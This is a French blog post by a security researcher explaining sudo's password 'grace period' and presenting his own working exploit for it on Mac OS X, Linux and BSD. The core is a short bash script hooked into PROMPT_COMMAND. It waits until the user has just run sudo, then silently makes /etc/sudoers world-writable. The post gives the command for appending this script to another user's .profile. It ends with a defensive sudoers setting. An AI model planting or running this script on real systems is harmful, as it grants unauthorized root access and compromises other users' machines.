Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Exploiter la grace period de sudo sur Mac OS X, Linux, BSD...

Rédigé par devloop - -

NB: Ceci est une republication de mon article original du mois d'avril 2012 posté sur myopera.
L'exploit a très légèrement été amélioré.

Présentation rapide de sudo

Les utilisateurs de systèmes dérivés d'Unix connaissent bien la commande sudo qui permet via le fichier de configuration /etc/sudoers d'autoriser des utilisateurs à exécuter des commandes prédéfinies sous les droits d'un autre utilisateur et ce sans avoir par exemple à saisir de mot de passe. Pratique quand on veut par exemple autoriser un utilisateur lambda à effectuer une mise à jour de l'antivirus installé sans que l'on ait à lui divulguer le mot de passe root.

Une autre particularité de sudo que l'on remarque rapidement en l'utilisant c'est la fonctionnalité dite de "grace period".
La "grace period", c'est le laps du temps pendant lequel vous pouvez retaper des commandes privilégiées avec sudo sans avoir à ressaisir le mot de passe (vous le renseignez seulement lors du premier appel à sudo).

Il m'a tout de suite apparu que ce délais devait être exploitable et permettrait une escalade de privilèges, même si je ne savais pas trop dans quelle direction me tourner pour la mise en pratique (injection via ptrace, commandes spécifiques bash... ?)

Un vieil exploit

J'ai cependant découvert dans mes recherches que cette "faille" n'a rien de nouveau : déjà en avril 2005 (c'est à dire il y a 7 ans), un advisory existait pour cette faiblesse avec une proposition pour empêcher l'exploitation.
Un exploit spécifique à Mac OS X 10.3 (Panther) (merci archive.org) était même disponible.

L'exploit de l'époque se basait sur différents points :
  • Les appels à sudo sont enregistrés dans le fichier /var/log/system.log lisible par tous
  • La grace period est de 5 minutes
  • sudo peut être lancé sans être lié à un tty

Il suffisait à l'exploit de surveiller le fichier de log et de lancer une commande privilégiée à la suite de celle de l'utilisateur.

Si le second point est uniquement une question de configuration, le premier est lui très fâcheux et le troisième me semble carrément inacceptable (il me semble que sous Linux, su et sudo vous insultent poliment s'ils ne sont pas lancés depuis un tty).

Je n'ai pas testé ce vieil exploit sous OS X Lion, j'ai au moins constaté que les deux premiers points sont toujours vrais et je ne serais pas surpris que le troisième le soit aussi :|

Un nouvel exploit bash-powered

J'ai plutôt décidé d'écrire moi même un exploit qui fonctionne même si les points 1 et 3 sont corrigés et qui fonctionnerait aussi bien sur Mac OS X que sous Linux et BSD.

Le principe est simple : il faut que des commandes soient lancées directement dans le terminal de l'utilisateur (et non pas à côté comme dans l'ancien exploit) juste après qu'il ait appelé sudo.
L'environnement bash conserve un historique des commandes tapées qui est lisible depuis la session bash via la commande history. On peut donc savoir très facilement si la précédente commande tapée est sudo.

Deuxièmement, bash dispose d'une variable d'environnement nommée PROMPT_COMMAND qui permet d'exécuter une commande à chaque fois que le prompt (PS1) va être affiché dans la console, donc grosso-modo entre chaque commande tapée :)
Cette variable d'environnement peut aussi bien contenir une commande que le nom d'une fonction bash.

A ce niveau, vous devriez déjà avoir compris le principe de l'attaque. Il ne reste plus qu'à ajouter quelques vérifications comme une bonne commande grep ainsi que la valeur de retour d'une commande sudo (citée dans la page de manuel) :
Upon successful execution of a program, the exit status from sudo will simply be the exit status of the program that was executed. Otherwise, sudo exits with a value of 1 if there is a configuration/permission problem or if sudo cannot execute the given command.


Le code final est le suivant (sudo_grace_period_exploit.sh) :
function bash_history {
  if [ $? -ne 1 ] # la précédente commande a réussie
  then
    if [ -z "${PWNED+xxx}" ] # pas encore pwné
    then
      history 1 | grep -q -E '^[[:space:]]*[0-9]+  sudo '
      if [ $? -eq 0 ] # la précédente commande contient sudo
      then
        sudo chmod 777 /etc/sudoers 2> /dev/null
        PWNED="yes"
        unset PROMPT_COMMAND 2> /dev/null
      fi
    fi
  fi
}

PROMPT_COMMAND=bash_history
Il n'y a alors plus qu'à placer ces commandes dans le .profile ou le .bashrc d'une personne utilisant sudo :
cat sudo_grace_period_exploit.sh >> .profile

et patienter le temps que notre commande soit exécutée. Un petit hack de 17 lignes pour dompter un Lion, un pingouin ou un démon :)
Le seul moyen efficace de se protéger de cette attaque est de désactiver la grace period en utilisant la ligne de configuration suivante pour /etc/sudoers :
Defaults:ALL timestamp_timeout=0

Classé dans : Non classé - Mots clés : aucun

Les commentaires sont fermés.